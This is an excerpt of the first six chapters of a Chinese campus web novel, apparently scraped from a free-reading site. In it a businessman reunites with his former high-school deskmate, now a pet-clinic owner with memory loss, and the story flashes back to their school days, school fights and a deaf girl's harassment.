《狗百岁[校园]》 1. 重逢 《狗百岁[校园]》全本免费阅读 手机叮地响起消息声时,贺远川正在商务晚宴的酒桌上,身子松垮垮地靠着椅背,看落地窗外江边的夜景。 他今天才从洛杉矶飞回来,临时推了几场会议,由于长途飞行整个人透着淡淡的疲惫。 他的座位正对着厢门,是对方特意安排。 此刻也对着桌的另一端正上演着的戏码。 “我酒精过敏,真的不能喝,赵总。” 年轻女实习生尴尬地站在酒桌旁,手几次想拦那只反复递来的酒杯,迟疑后又收回,脸涨得通红。 以赵总为首的几个西装革履的男人并没有放过她的意思:“年轻人要多锻炼,没酒量怎么行——” 贺远川看了眼亮起的手机屏。 来自于助理乔焕:楼前的那家宠物医院开门了。 他得走了。 贺远川倾身,端起面前的酒杯,虎口托着杯壁,声音不大,透着清朗和冷淡:“赵总。” 热闹的包厢很快安静下来。 他沉默了一整晚,此刻在灯光下,映照得眉眼不算真切,哪怕决定下一秒就要走,挺拔的身影依旧带着懒。 单虚虚坐在那,就出奇地勾住人的目光不放。 他仍是坐着,仰靠着椅背,杯口随意朝前倾了下,“随意。” 说完便一饮而尽。 包厢里谁也没说话,空气停滞,再愚钝的人也看得出气氛变了。 赵总咣地一声站起来,给自己倒了满满一杯,一口气喝了。 酒下去得太急且太快,带着赔礼的成分。喝完人便僵住,喘了口粗气。 一连灌了三杯,直到眼神呆滞,看着似乎大脑已然停摆。 贺远川才垂眸,淡淡的戏谑: “赵总好酒量。” 女孩投去感激的目光。 刚入社会缺乏实践经验,比如说下次再遇到这种情况,不应该尴尬地手足无措,而是更应该将杯子里的酒直接泼到对方的脸上。 这张脸生得好,就是有些眼熟,像是近几年时常出现在财经频道里的那位。 贺远川似是没有感受到那束炽热的目光,头还是未抬,旁边人替他斟上了酒,他端起手边的杯子再次饮尽,落下句:“失陪。” 随后便起身出了门。 桌上几人面面相觑,忙站起身快步想追:“小贺总...” 贺远川几步跨进电梯,嗯了声,电梯门徐徐关上。 门隔出个密闭的空间,电子屏上的数字不断跳动,贺远川靠在墙上,闭着眼,胃里翻涌。 这片来往的人皆非富即贵,大堂外不显眼处停着辆黑色商务车,见他出来,车门从里打开,钻出个咖色短发的男子。 大学生模样,伸手晃了晃,低声喊:“远川哥,这儿!” 贺远川上了车。 “换色儿了。”贺远川抬眸打量了眼咖色短发男,问:“议程材料弄完了?” 咖色短发男干笑几声,摸摸鼻子打哈哈:“快了,快了——” “乔焕。”贺远川向后靠了靠,不再看他: “我虽是认识你哥,但到底你是在我这儿工作,你怎么想,能干还是?” 乔焕低头,小鸡啄米地点:“能干的能干的。” 他是怵这位的,能把自己亲老子搞到破产送进牢里的人,不管用了什么手段,都是够狠够绝的。 “今晚的项目推了吧。”贺远川伸手摘腕表。 “好的。”乔焕点头,说正事:“那家宠物店确实开门了,但据我观察,没看见他们的那位神秘老板。” 贺远川的手微不可闻地顿了下,拧开表扣。 “你还要去吗?”乔焕接过表问。 他“嗯”了声,太阳穴一抽一抽地疼,没说其他的,只是嗓音带点哑地问:“小刺呢?” 那杯酒度数不低,这会劲蔓延上来,贺远川感到不太舒服。 “在我家睡觉呢,”乔焕说:“等会我带过来。” 贺远川又“嗯”了声,眸光淡淡,途径隧道,十来秒后乍亮,男人闭上眼,不知道在想什么。 说实话乔焕的好奇心都快要溢出来了。 贺远川27岁,明明是个爱玩的年纪,又生得那样一张老天恩赐的好脸,但这些年身边一直未曾有过什么人,独来独往。 也没看他对什么上过心。 唯独那只叫小刺的奶牛猫,看得像命根子一样,走哪带哪,有时业务需要临时出国,不舍得叫猫托运,便寄养在他那,每晚要通视频,只看猫。 乔焕收回目光,坐起身从车里悉悉索索地摸出药箱,拿了两粒胶囊递给他:“喝酒了吧?吃点。” 等了半天也没见男人接过手中的药,乔焕扭过头,见贺远川垂着眼,靠在后座看窗外。 “远川哥?”乔焕喊了声。 贺远川回过神,伸手接过那药。他将药含进嘴里,拿起乔焕递过来的水吞了下去。 - 刷电梯卡上了楼,贺远川没有开灯。 这间办公室在最高的一层,平时只有他和身边几个亲近的上得来。会客和办公都在另一间。 不过两间布局也没差多少,都是非常老套的简约布局,干净整洁,除了必须的办公器材,没有多余的东西,没有人味。贺远川懒得费心思布置。 私密的这间只多了个阳台,做了面落地窗,窗外景色一览无余,外面的光和月色透进来,房间里不会很暗。 贺远川陷坐在宽敞的椅子里,面朝窗,一根接一根地抽烟。 其实他这两年已经不怎么抽烟了,刚开始创业那几年抽的凶,喝酒也凶,后来身体熬不住,医生很严肃地给他警告,他才慢慢减量。 楼下那家宠物医院的招牌写着“飞屋之家”,确实开了门。这半个多小时的功夫,有几个人接狗出去了。 离得有段距离,看不清里面。 “嘟——”门从外咔嚓一声打开了,乔焕拎着猫包进来,转身关上门。 一进来就咳了几声,乔焕把猫包放地上,走了几步去开侧边窗,扫了眼窗边茶几上扔着的那半包烟。 “远川哥,这一会下去半包了吧。”乔焕把头往窗外埋,深吸一口气,这才感觉得救了: “少抽点,上次医生还和我念叨来着呢。” 贺远川没说话。 乔焕把门口的猫包拎过来,蹲着拉开拉链,一只黑白花的奶牛猫从里面钻了出来。 猫毛呈现健康的光泽,一看就被照顾得很好。 猫一出来,先是去蹭蹭贺远川的脚踝,贺远川摁灭了烟,伸手挠猫的脸颊。猫咕噜几声,钻进阳台的帐篷里睡了。 乔焕口袋手机在响,拿出来接了,对那边说等会,现在有事。 “去吧。”贺远川偏头看了看他,“小刺跟我。” 乔焕说:“它哪都好着呢,就是湿粮吃完了,我来去楼下买点就成。” 虽然他不知道贺远川为什么对一家平平无奇的宠物医院这样密切关注,连带着关注那位基本没见过面的神秘老板,但他琢磨着应该是因为小刺。 “朋友等着呢吧。”贺远川不再看了,俯身从茶几上又拾了根烟,咬进嘴里。 “回吧,等会我去买。” 乔焕嘿嘿笑了两声。 贺远川这样说,他也不好再推辞什么,虽是上司,也是他亲哥的发小,一块长大的,再推显得远了。 就道了谢,眼里有活地把烟灰缸里的烟头倒进垃圾袋,一起拎下去了。 贺远川将那根烟抽完,楼下的人渐渐少了。 他起身去洗手间仔细洗了手并擦干,回到阳台,将熟睡的猫从帐篷里抱出来。 猫睁了下眼,见是他,头一歪又睡了。 十分钟后,他拎着猫包,像根坚硬的木头桩子杵立在“飞屋之家”的门口。 最后还是一抬长腿,脚步打个弯,绕过“飞屋之家”,上了自己的车。 关上门,他盯着包里的小刺发愣。 半晌,他又把猫包拎了 2. 分桌 《狗百岁[校园]》全本免费阅读 安顿好那只仓鼠,程澈带他上了二楼,拧开一间门。 房间不算大,一张白色长桌靠墙,桌上摆着电脑和银色的宠用体重秤,围桌两把转椅。 正对门一排米白色柜子,里面是些书和药。 程澈往地上看,“抱歉啊,下午有只狗在这玩,地上不大干净。” 贺远川说没事。小刺变得不太安稳,开始在包里挠纱网。这里动物多,大概是害怕。 也可能是抗议从天而降的肥胖。 程澈拾起地上散落的玩具,让他坐,自己推门出去了。 片刻,程澈端着两杯热茶回来,还带了一袋东西。 “店里只有大红袍了,喝得惯么?” “常喝,谢谢。” 程澈生得白,英气,桃花眸子一弯,磨掉了些锐利,显得很随和。 贺远川看杯中沉浮的茶叶,脑海里控制不住地闪现一些尘封的画面。老同学叙旧,总要问些场面话:“最近还好?” “还不错。”程澈说,说完问:“你呢。” 温润清透的嗓子。 和贺远川记忆里其实没什么差别。 “也还行。”贺远川说,茶叶晃晃悠悠要沉底了:“店这两天才开门?” “啊。”程澈应,喝了口茶,呼出模糊的浅雾,“我才回来。” 贺远川抬头看他,程澈笑着补充:“回了老家一趟,待了段时间。” “挺好的,”他想收回目光,身体却不听使唤,牢牢地看,只好清清嗓子。 “记得你以前一直想开家宠物医院。” “你还记得。”程澈笑了:“我记性不大好,高中时出过事,忘掉很多东西,但还记得你叫贺远川,从前我们是不是坐过同桌来着?” “嗯。”贺远川垂眼,也笑了:“是坐过。” 程澈撕开带进来的鱼干,拿在手里晃晃,“不同品种的猫,标准体重也不同,你的猫是只串串么,我看着体型倒是正常。” 贺远川拉开拉链,小刺探出个脑袋,磨磨蹭蹭地拱出来。 他莫名有点心虚,但仍是叮嘱:“它脾气不太好,小心别被抓到。” 小刺的黑白身子一探出来,贺远川的心跳突然变得很快,他抬头看了眼程澈。这像是一种试探,他不愿承认自己确实在这一刻抱有期待。 小刺出来后,扭捏地去蹭程澈,蹭完顺脚就踩上了体重秤,底下蓝屏杂乱地闪。 它干脆四个爪子全站上去,毛茸茸的脑袋俯下去看跳动的数字。 “十斤多,你挺结实,小猫。”程澈朝猫勾勾手,小刺很听话地过去了,“完全不胖,非常健康。” 贺远川闷闷“嗯”了声,端起杯子喝了第一口,茶杯大红袍的茶香短暂安抚了他不太清明的大脑。 天确实冷了,这一会功夫,茶已经不热了。 程澈问:“它叫什么名字?” 贺远川没立即回答,心里刚刚窜了个头的那点焰苗又灭了下去,半晌才轻声说:“小刺。” 看来是什么都没想起来,全忘了,真够狠的。 “嗯。”程澈的眼睛像一汪泉,声音也是:“这名字像刺猬。” 贺远川心头一抖,没说话。 两人也没在办公室坐多久,楼下有人喊:“程医生,有人找——” 程澈边应声边站起来,“来了——” 应完转头看贺远川,还想说什么,贺远川先开了口:“没事你去忙吧,我也回去了。” 程澈说好,想了想递过来张名片,一边往外走一边说:“那下回再联系。” 贺远川接过来看,上面一排猫爪印,底下两个秀气的字,他手握着名片揣进口袋,大拇指无意识摸索口袋里的硬质卡片,拎着小刺也下了楼。 大堂中间一女人抱着条狗,旁边围着几个人,看见程澈下来自动让了个空。 贺远川站着看了会,直到看见程澈抱着狗上楼,才转身去了货架那边,问店员买了几款适口性好的湿粮。 出门时下了小雨,把小刺放上车后,贺远川没急着上车,从车后取了把伞,又转头看宠物店的二楼。 灯还亮着,不知道要亮多久。 贺远川在车里等了半个钟,最后那把伞也没有送出去。二楼的灯一直亮着。 对于宠物医生来说,加班是常态。 这半个钟里,贺远川靠在椅背上,听着外面愈下愈大的雨,闭着眼出神。 程澈害怕下雨不假,但那已经是九年前的程澈了,很明显,从那年程澈出事之后,遗忘的那些基本都没有再想起来。 挺好的。 贺远川掏了烟出来点燃,仰头向后靠,那些污糟烂泥一般的记忆,忘掉才能重获新生不是吗。 从今晚见到程澈起的那一刻,不,在听见飞屋之家开门的那一瞬间,其实还要更前—— 在他翻这一片商铺名单里突然看见那两个熟悉的字眼开始。 贺远川的脑海里不可控地反复放映十七岁时的程澈,穿着端正校服的男孩站在光影交错的树下,对他说:“贺远川,你放过我吧。” 他像老牛反刍将这句话不知嚼了多少遍,自虐般从中获得痛感。 当时程澈脸上是什么表情,贺远川记不清了。那副瘦弱又挺拔的身躯上是一片灰蒙蒙的混沌。他一遍遍去寻,却永远是那团雾。 在今晚见到程澈之前,他还觉得自己只是想看看这位过得怎么样而已,当时把他像扔一条狗般扔掉,最好别过得太好。 不是说要放过吗?放过了,然后呢?不是很有能耐吗,不是要逃的彻彻底底吗。 可真的看见人,第一眼是瘦了,第二眼是男人发青的眼下色素沉淀,一看就是常年睡眠不良。 他心里疼的慌。 贺远川想,可能因为是太恨了,恨透了,让人想揪着衣领狠狠揍他一顿。 雨势渐小,二楼灯灭了。默默将那支烟抽完,贺远川发动引擎,驱车离开。 第二天就接到了乔稚柏的电话,隔着手机都听得到震惊:“贺远川,我刚知道个特巧的事儿,你猜,你楼前那宠物店是谁开的?” “谁。”贺远川漫不经心地问。他早都知道了,不仅知道,昨晚还和那人一起喝了杯茶。 “程澈!还记得吗,你的老同桌!”乔稚柏声音挺大,贺远川将手机拿远了些。 “是么。”他在看项目的预算表,边看边应付,很敷衍:“是挺巧。” 他的办公楼刚好靠着那家宠物店,确实很巧。 但如果说是他特意搬的呢? “程澈啊,高中经常跟我们在一块那位,我一开始还以为你俩是男同呢,哈哈哈——” 电话那头乔稚柏笑了好一会,笑到贺远川想挂了电话,才说:“别挂别挂,也是,都过去九年了,你那会好像还和他闹过不愉快吧?” 贺远川直接挂断。 3. 挡酒 《狗百岁[校园]》全本免费阅读 贺远川端着杯子一直在看那边,对桌愈演愈烈,那人斜靠着椅背,笑意淡淡,看着是醉了。 贺远川几大步走到对桌站在那人身侧,从程澈手里拿过酒杯,手指堪堪擦过对方的指尖,一触及分。 就着喝过的位置,他端起来一饮而尽。 桌上人先是愣了一会,才听见王杉拉长声音说:“哦哟,贺总替老同桌挡酒,一杯可不行啊,得三杯——” 程澈带着笑斜靠在椅背上,像是看他,又像是不知道在看哪。 贺远川笑笑,往杯里又倒了一杯,朝众人举了下,说:“敬九班。” 随后仰头饮尽,桌上一时间比刚才更热闹了,王杉在一边拍手鬼叫:“好好!刘俊你快回三杯!” 旁边一个细胳膊细腿的男生骂:“滚你妈的,你怎么不回,我要喝也是敬川哥,要你做好人?” 一帮子人似乎又回到了当年高中生的样子,嬉笑怒骂,短暂忘却大人世界的种种苦楚。 喝到最后,两桌人都喝多了,有的去上厕所,有的家里孩子小离不开人,提前先回了。热闹的大厅少了一半。 贺远川觉得自己应该是醉了。 他脚步有些不稳,胃里疼,心里也疼。借着酒意,他要去找恨透了的那个人,狠狠地骂他个狗血喷头。 人找到了,在椅子上坐着,贺远川犹豫了下凑上前,用着最强硬的口气喊:“程澈。” 程澈嗯了声,那双桃花眼带着雾气,抬眼看他。 贺远川闭了闭眼,再睁开时两眼通红,说出的话临时拐弯,和预想的截然不同,喉头梗得紧:“程澈,其实我不恨你。” 程澈又嗯了声,声音里带着沙哑的醉意,男人向后靠了靠,淡淡笑着,轻叹道:“我真不记得了,远川。” - 分班的第一天,贺远川早早就去了。每个班级虽就那么大,课桌就那么多,可坐哪最适合混日子是有大讲究的。 九年前那会,清野镇的学校还没有安装上空调,夏天气温骤升时,会打开头顶悬着的几盏大电扇,一转就吱呀呀地响。 当时的课桌还是木头的,上面有各届学生用水笔留下的酸溜溜的句子,仔细看还会有古诗词和英语单词的小抄。 首先这个位置得靠窗,这样才能有自然风吹进来,不至于太热; 其次得朝后坐,最好靠着后门,方便进出,迟到了可以不动声色地摸进来,也不至于被女生送情书时堵住出不去。 贺远川眯起眼睛,打量了一圈,最后在靠近后门的右侧墙边坐了下来,刚坐下就往桌上一趴,面朝墙,一节手臂绕过肩颈虚虚垂着。 他闭着眼趴在那,不时有微风吹进来,舒服得很。 这个位置非常好。 一扭头可以看见办公室,旁边是堵墙,从外面往他这里看,又有个小范围的视觉死角。 这样趴着好一会,周围人声慢慢多了起来,桌椅脚摩擦地面的声音,被分到9班的大家都在挑选自己的座位。 清野中学的传统,文理分科后每个班大洗牌,全部打乱重新分配班级。 但镇就这么大,中学也就这么大,文理加在一起拢共就十几个班,难免会遇到熟悉面孔。 所以选择座位时有人自然而然地组成了同桌,也有人环顾一圈没看到认识的同学,只好失望地随便挑个位置坐下。 直到快要打上课铃,贺远川的旁边仍然空着。 有学生头探头,窃窃私语,不时地往这边飞快看一眼。 倒不是不想和他坐,和老套的小说一样,贺远川的名字在清野中学是个时常出现在校园贴吧和微博超话里的存在。 一是因为他好看,身材比例也恰到好处,一眼望去十分悦目。青春期无非就那些事,一副年轻蓬勃张扬的躯体,总会让人脑补出很多故事。 二是因为,他打架凶。 关于第二点,贴吧里兴起很多谣言,那几条旧帖子不时会被人顶上去。 这些帖子又延伸出一部分人讨论贺远川的家境,包括他家二层楼的外景照片,身上穿的哪件衣服有不显眼的logo,有识货的人说这logo没有低于两千块的衣服… 乔稚柏刷着贴吧和贺远川说:“你也是一战成名了。” 这场一战成名的架缘由其实也很简单,外貌太出众,人再不合群,这样的人太容易成为众矢之的。 所以当清野中学那几个刺头把贺远川的鞋“不小心”踩脏,并且嚼着口香糖满不在乎嘻嘻哈哈时,一直没说话的贺远川摘了耳机。 也没看他们,很寻常地站起身,操起板凳,下一秒像丢垃圾般,直接将凳子砸向为首的那个。 一板凳下去,那人摇摇晃晃,扶着墙吐了,旁边几人脸白了白,回过神后,大骂着脏话扑了上来。 贺远川是这样的人,不主动惹事儿,但也绝不允许有人来试探他的底线。 敢不怕死地来,那他就敢比比谁更不怕死。 贺远川凭一己之力将几个刺头送进了医院。家长闹着要赔钱,他赔,他最不缺的就是钱。 要见他家长,不好意思,家里没人,谁都见不着。 无论如何,贺远川的目的达到了,他获得了长远的清静与安宁。 贺远川这会才是真感到困了,迷迷糊糊快要睡着时,旁边咣地坐下个人。 贺远川连头都没抬,“乔稚柏,滚。” 乔稚柏拿着校门口领的什么机构的传单,随意一折,往身上扇风,嘴里嚷嚷:“热死爷了,什么鬼天!” 贺远川睁开眼看乔稚柏,眼里带着些被吵醒的不悦,还没说什么,乔稚柏的屁股已经先一步从板凳上抬起。 乔稚柏拎着那把破纸扇给贺远川扇风:“我走,我这就走,你睡吧。” 前桌也空着,乔稚柏迅速入座,回头跟贺远川说话:“我身上有味儿还是怎么着,怎么眼没睁都知道是我。” 贺远川没理他,胳膊有点麻,换了个姿势。 “我每天都洗澡!”乔稚柏说。 几分钟后乔稚柏就拥有了新同桌,是个不怎么说话的圆寸头,乔稚柏自来熟地找圆寸头说话,圆寸头倒是话少,这不耽误他高兴。 乔稚柏朝后斜楞看一眼,说话声音大了些,不知道是想让谁听见:“不跟兄弟坐是吧,害,没事,有什么大不了的。” 他有同桌,他身上可没味儿! 乔稚柏尾巴翘了半天,直到被贺远川踢了板凳,才老实把尾巴放下。 没过几分钟,贺远川身边又坐下个人。 他当是乔稚柏,眉头蹙起,从桌上直起身,转过头不悦地开口:“你烦不烦?” 来人唇红齿白,五官英气,校服穿的板板正正,抱着一摞书笑眯眯地看他:“你好。” 窗外恰时吹来阵风,卷得男孩怀中的书页轻轻翻了几滚。 这张脸他不是不认得。校门口旁边那块铁展板,榜首第一附加一张照片,照片里就是这张脸。 贺远川看了程澈片刻,半晌,把头转开。没回那句招呼,但也没说不让坐。 这人看面相,不像是个话多的,更像是个书呆子,只会读书的好学生,挑不出错,但无聊透顶。 于是程澈就这么坐下了。 开学头几天,各科老师的第一节课其实都没上多少实质性的内容,基本都是自我介绍,在课上认识认识新同学,剩的时间再把第一章的头两页划划重点。 清野中学在清野镇已经算不错的中学了。然而地方条件毕竟有限,再不错,师资力量也比不了市里那些学校,学生们学习的热情也并不高。 甚至连晚自习这种东西,在清野中学都只是高三专属。 这两种情况一结合,每节课上聚精会神刷刷记着笔记的程澈变得尤为显眼。 每天贺远川就是蒙头睡,睡完掏出手机看会,偶尔在书上画两个字,画完笔一扔头一歪,又睡。 一连睡了几天,贺远川觉出不对 4. 第4章 《狗百岁[校园]》全本免费阅读 程澈将角落里皱成一团的书包拾起来拍干净,默不作声地背上,低头看了看自己的衣领。 扣子掉了一颗。 天已经完全黑了下来,他往地上粗略寻了下,没看见。 掉了就掉了吧,他伸手将被扯乱的衣领捋正,往身上拍了几下,确认没沾到灰后出了巷子。 贺远川不知什么时候已经走了。 秘密被发现,这件事让他感到不安全。 这片巷子位于老城区,歪七扭八的,又互相连接,像土壤里蚯蚓拱出的一条条路。程澈熟练地拐了几下,拐进了一排栽着树的小路上。 从他踏上这条较为偏僻安静的小路开始,在右侧一长排的围墙上,慢慢从漆黑的角落里钻出几只猫,猫踩着安静的肉垫,顺着水泥墙的上方,跟着程澈的脚步向前。 程澈紧绷的肌肉逐渐松懈下来,偏过头和猫打招呼:“一黑,二花,三玳瑁,哟,四黄今天没来啊。” 猫们自然不会说话。 途径一片茂密的绿色藤蔓,猫们从藤蔓中钻出,头上粘些泛黄微小的叶屑,因为痒而甩了甩耳朵,尾巴笔直竖起。 家前的小商店灯亮着,远远看见老板赵庆穿着老头背心,坐在外面的藤椅上乘凉。 程澈走到他旁边时,他正举着巴掌往身上拍,劲使得大,一巴掌一个大红印:“我扇死你!喝老子血。” 程澈喊:“赵叔,乘凉呢。” “啊。”赵庆大着嗓门应,边转头过来:“这鬼天屋里太热,今晚才回来啊?” “老师拖堂。”程澈笑了笑,面不改色心不跳,一口锅就朝着廖老师头上扣过去,“李婶呢?” “她还能去哪,在你家打麻将呢。”赵庆说话间又响亮地往身上打了几个结实的大巴掌。 程澈听着都疼,打完招呼在商店前面拐角处的一扇红色铁门前站定,掏出钥匙开门。 铁门的颜色已经随着年月衰败,部分漆皮早已不规则地剥落,露出锈迹斑斑的内瓤。 程澈拧着钥匙往下用力,这门不太好开,得用巧劲。 进去后是两层老式弄堂楼,楼上楼下不互通。程澈经过一楼,透着印着小熊图案的纱帘向里看。 眼还没扫进去,耳边先听到清脆的摔牌声,紧跟着一句江蔓怒气冲冲的国骂: “妈的,今晚手气臭的要死。” 随后是哗啦啦地洗牌声。江蔓今晚背对着门坐,只看的到一颗随意揪着辫子的后脑勺。 程澈顺着露天的砖楼梯上楼。 这楼梯架在一二楼的边上,是红砖摞的,中间掺着稀薄的水泥,砖缝里有青苔,挤着长出几朵黄色小野花。 有扶手,但常年雨水摧磨的原因,铁栏杆也生着绣。 二楼外面是个长长的阳台,半露天的,左手边两扇门两面窗,程澈放轻脚步朝里走。 经过江河房间时,看见里面大灯关了,只留了盏小夜灯。 程澈进了最里面那间房。 房间非常简单,墙刮了大白,顶部角落有隐隐的连片黑斑,木质老桌,铁架子床,一个大衣柜,上面贴着五颜六色的贴花纸,泛着黄意。 他拉开老桌抽屉,从里面摸出一根红霉素软膏,拧开盖子挤出点,随意地往嘴角抹。 有点疼,他没吭声。抹完后药膏往抽屉一丢,去衣柜里扒了件衣服换上。 推开江河房间时,小丫头正趴在床上百无聊赖地看书。回头看是程澈,从床上一骨碌爬起来,睡衣袖子往下滑,露出一小截满是针孔的胳膊。 小丫头的两只手在空中飞快比划:你才回来?没事吧? 江河耳朵听力不太好,必须很大的声音她才听得见,小时候高烧烧的,连带着也影响到语言功能,一着急就不愿开口说,只打手语。 程澈笑笑,给她递了碗切好的柠檬,不多,几片。江河接过,一双乌溜溜的大眼还是看他。 程澈伸手打手语:没事,他以后不会再来了。 江河把碗放在床头柜上,比划:你受伤了吗? 她要去开灯,程澈拦了,和她“说”:没有。柠檬吃完记得刷牙,按时睡觉。 江河听话地点头。 程澈“说”:张嘴,说谢谢哥哥。 越是不愿说,程澈越要她说,语言功能必须得到锻炼,不然时间久了就真成哑巴了。 江河哼了半天,才开口,吐字不清,音调略有些滑稽,但是洪亮:“谢谢…哥哥!” 程澈就伸手摸摸小姑娘的头,告诉她说得很好。 聋人的生活较平常人要艰难些。对弱势群体来说,拥有较出众的外貌,其实是个灾难。 平时舞到面前的,都被江蔓举着菜刀骂走了,但要是在学校里遭到欺负,江河不会和江蔓“说”。 因为怕江蔓担心。 但即使她不说,程澈也能看出来。 十多岁的小女孩再懂事,面子上也藏不住情绪,在心粗的江蔓面前还能装一装,程澈一眼扫过去,就知道江河又在学校挨欺负了。 只是这次情况复杂些。 因为没有听力,江河听不见车喇叭声。人行道里时常有人骑着电动车经过,所以平时放学她基本只走沿街店铺门口的小道。 因为旁边就是特殊学校,老板们都很自觉地清理了店门口的杂物,包括盲道,防止这些特殊孩子绊倒。 但没多远便是清野四中,清野镇不愿念书又好事儿的基本都聚集在这学校里。 校外奶茶店里的小混混见江河漂亮,又知道她是个小聋子,起了歹心,一路尾随她进了小巷。 江河听不见,照常走,身后突然扑出来两人,朝着女孩刚刚发育的胸脯就伸咸猪手。 江河被吓到,拼命尖叫,一着急话也说不完整。恰好这时巷口来了人,两个小混混心虚,骂了几句就跑了。 程澈“问”江河:他们长什么样? 江河比划:一个是光头,一个皮肤黑,眉毛有疤。 程澈记下了。 一连在江河的特殊学校门口蹲了几天,九月初秋老虎,天气还是很炎热,街道上的水泥路面吸收热量又发散,烘得人浑身无力。 街上人不多,不时经过几个拎着菜篮子的老阿姨,顺着路边的 5. 第5章 《狗百岁[校园]》全本免费阅读 接下来的几天,程澈每天上课前去江河学校门口蹲人。 这俩人虽心虚但也没老实多久。 从那天程澈蹲到他俩后,之后几天的每天早晨,蹲在树荫下的程澈都能看见他俩从街边那个早餐店晃晃悠悠地出来,朝地上啐痰。 老式早餐店,连招牌都没有。 门边靠墙处摆着个加热的炉子,上面架了口黑铁锅,里面热着茶叶蛋,锅边还摆了根长柄漏勺,方便食客自己捞。 程澈看两人从店里出来后,手脚不干净地从老板店门口又一人顺了个茶叶蛋。 走出没多远,两人用手里的鸡蛋砸墙上被雨迹冲淡的公益广告。 鸡蛋碎在墙上,变形的蛋黄挤压黏住蛋壳,树下的鸟扑棱着翅膀受惊飞走。 程澈会在上课铃打响前赶到班级。 新同桌头两天除了睡就是睡,不用费精力花心思处理同学关系,程澈乐得自在。 除了那个娃娃脸斜前桌聒噪了些。通常乔稚柏会回头骚扰贺远川,但贺远川基本上不理他,自讨没趣后,乔稚柏又去骚扰同桌圆寸头。 圆寸头叫秦祎,比贺远川话还要再少些,贺远川偶尔还会骂乔稚柏两句,秦祎是纯哑巴。 最后乔稚柏选择骚扰程澈。 程澈比较好骚扰,每天都笑眯眯的,长得又温柔,除了人有点老实,挑不出错处。 程澈不讨厌乔稚柏,没什么心眼子且话多的男生,一看就是被家里保护得很好,没有烦恼和心事,不需要做任何伪装。 但是没两天,程澈觉得他一直趴着睡觉的新同桌应该是有点讨厌他。 上课时经常余光会看见旁边那位阴沉着张脸从桌上爬起来,自己的脸颊被盯得火辣辣发烫。 程澈只当这人睡蒙了,转过头朝他笑笑,没想到那位的脸更阴沉了,换个方向又趴了下去。 程澈收回视线,想:真是有福气,一天这么多瞌睡,还睡得着,像一只刚出圈的小猪羔。 为了给新老师留下好印象,程澈每节课都听得十分认真。但老师确实也没讲太多知识点,前几章又相对简单,程澈听一遍扫一遍基本就吃透了。 于是他偷偷在书上画画。面子上做出一副认真听课的模样,手里握着自动铅笔画了一整排,其中包括一只酣睡的猪羔。 画到一半,新同桌醒了。程澈偷偷盯着那人翻来覆去寻找一个舒服的姿势但未遂,还没来得及收回目光,就听见贺远川充满倦意的嗓音。 “你写字声音吵到我睡觉了。” 平心而论,声音倒是挺好听的,就是说出的话不大好听,简直是刺耳。 这应该是在找茬吧? 但程澈装不懂。 笔尖停顿在小人的头发上,他胳膊往书上虚遮了遮,新同桌板着的脸上被衣服硬边压出了条长长的红印。 半晌,程澈的脸上缓缓露出一个笑容,点点头,看着人畜无害:“抱歉啊,我小点声。” 刚开学不宜结仇,虽然这人不招人喜欢。 但程澈原谅他,往书上酣睡的小猪羔脸上加了一条大长痕,旁边画个框,框里写:吵~到~我~睡~觉~了~ 得有十五厘米长,程澈心想,这人难道不觉得硌得慌吗? 程澈这边在心里暗暗编排同桌,与此同时,他也确实没想到,他的同桌在想如何揪着他的衣领将他丢出去。 周五下午放学,程澈把桌洞里所有的书都装进了书包,装完拎了拎试试重量,书包重得像装了几块板砖。 越重越好,好用。 “让让。” 他转头,见贺远川没什么表情地站在座位里面。 开学有好几天了,这是程澈第一次正眼看到贺远川直立而非趴在桌上的样子,挺高。程澈抬眸,身子往左边避了避。 被撞到了。贺远川的手肘没往里收,大咧咧地曲着,手插在口袋,撞完就头也不回地出了门。 程澈拎着包原地站了几秒,没说什么。他将沉甸甸的书包背到肩上,下了楼。 正门那已经堵了长长的队,程澈看了一眼,根本没打算排队,直接往操场方向走。 清野中学的操场是从居民区外围用砖墙圈出来的,连塑胶跑道都是这几年才修建的。 尽管修建并没有多久,但跑道已经开始干裂,太阳一晒,会迸出些零碎的塑胶颗粒。 程澈背着书包穿过操场的这会功夫,鞋里进了几粒塑胶跑道破碎的渣子,磨脚。 他没管,一直走到操场另一侧的几扇铁门处停下,在最大的那扇前站定敲了敲门。 没一会,就听见门里有锁芯转动的声音。 程澈笑,眯着那双桃花眼,看着门从内向外被人推开:“王姨,又麻烦你了。” 门里站着个烫着蛋卷头碎卷的中年女子,捏着把钥匙喊他:“程澈吧?又堵上啦?” 女人朝他招手:“进来啊,外面不热啊。” 程澈道了谢,背着书包进了门。门口对着房间内是条不太宽敞的过道,过道的另一头还是个门,两门对通。 过道两边各自摆列了几组锈色的网格架子,上面放着各式各样的杂货和不知名的零食,空气中有隔着包装袋的油脂与灰尘混杂的气味。 墙上钉了台电视,里面播着电视剧,王姨坐回椅子,接着剧情抬头看得入迷。 程澈说些客气话:“又麻烦你啦王姨,真是不好意思。” 边说他边从网格架子上拿了几根火腿肠,想了想,从桌下抽了个硬壳厚本子。 旁边的玻璃柜里有各式的烟盒,他淡淡扫了一眼又很快收回视线。将火腿肠和本子一并握在手里,掏出手机扫码付了钱。 王姨摆摆手,抽空看他一眼后又转过去看向电视,声音落过来,很利落:“哎哟客气什么,早点回家吧。” 程澈拿着东西出了另一侧的门。 这个对通的门缩短了程澈至少十分钟的回家路程。 另外,这条街离清野四中也近,程澈只要再穿过两条巷子,就可以拦到每晚必去巅峰网吧开黑的张决和王虎。 他把厚本子在手心卷着握住,站在网吧必经之路的巷口等人。 盯了好几天,这个时间点最合适。 巷子没什么人,该放学的都放学了,吃完晚饭孩子基本都在家写作业,不会出来玩,上班的也也基本都回到了家。 天还是热,晚上连遛弯的人都少,巷子里偶尔窜出条毛发凌乱的流浪狗,在垃圾桶旁边凑一会就走了。 程澈看了眼手机, 6. 第6章 《狗百岁[校园]》全本免费阅读 程澈选在周五的目的很简单,即使这次打架受了伤,也完全可以在家休息两天,等到周一上课基本能好得差不多,不容易被发现。 只是,整件事里突然多出个贺远川,这让他的心变得不安宁。 那天就不应该坐在教室里唯独空着的那个位置上,不应该和这个人沾上半分瓜葛。 楼下的麻将依旧轰隆作响,偶尔几声清脆的炸音,应该是哪位输钱了,往桌上掼牌,能听见江蔓高着嗓门和人吵:“收你们五十块头子钱多吗?手气不好全送回去了,这个月我就没赢过!” 话是这样说,其实江蔓这个月压根没打上几场麻将,轮不到她的份。一楼客厅常年有人打牌,虽然没有挂牌子,但基本就是棋牌室,家庭版,包水果包茶水。 